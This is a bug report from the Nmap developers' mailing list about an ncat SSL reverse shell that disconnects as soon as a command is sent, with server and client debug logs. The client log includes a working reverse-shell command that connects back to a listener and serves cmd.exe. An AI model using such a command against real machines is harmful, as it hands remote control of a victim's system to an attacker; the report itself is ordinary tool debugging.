ncat reverse ssl does not work, "terminating subprocesses"

The client is a windows 7 machine, run cmd.exe and connect back to a
ubuntu server

When I execute a command, the connection interrupts immediately.

Any ideas?

==== server ====

# ./ncat.linux -l -p 8888 --ssl -vv
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and
--ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 172.16.177.30.
Ncat: Connection from 172.16.177.30:49180.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

x:\>dir
NCAT DEBUG: Closing connection.

==== client ====

x:>ncat 172.16.177.200 8888 -e cmd --ssl -vv
Ncat: Version 7.40 ( https://nmap.org/ncat )
NCAT DEBUG: Using trusted CA certificates from x:\ca-bundle.crt.
NCAT DEBUG: Unable to load trusted CA certificates from x:\ca-bundle.cr
t: error:02001002:system library:fopen:No such file or directory
NCAT DEBUG: Not doing certificate verification.
libnsock nsock_iod_new2(): nsock_iod_new (IOD #1)
libnsock nsock_connect_ssl(): SSL connection requested to 172.16.177.200:8888/tc
p (IOD #1) EID 9
Ncat: Subject: CN=localhost
Ncat: Issuer: CN=localhost
Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87
Ncat: Certificate verification failed (self signed certificate).
libnsock nsock_trace_handler_callback(): Callback: SSL-CONNECT SUCCESS for EID 9
 [172.16.177.200:8888]
Ncat: SSL connection to 172.16.177.200:8888.
Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87
libnsock nsock_iod_new2(): nsock_iod_new (IOD #2)
NCAT DEBUG: Executing: cmd
NCAT DEBUG: Terminating subprocesses
_______________________________________________
Sent through the dev mailing list
https://nmap.org/mailman/listinfo/dev
Archived at http://seclists.org/nmap-dev/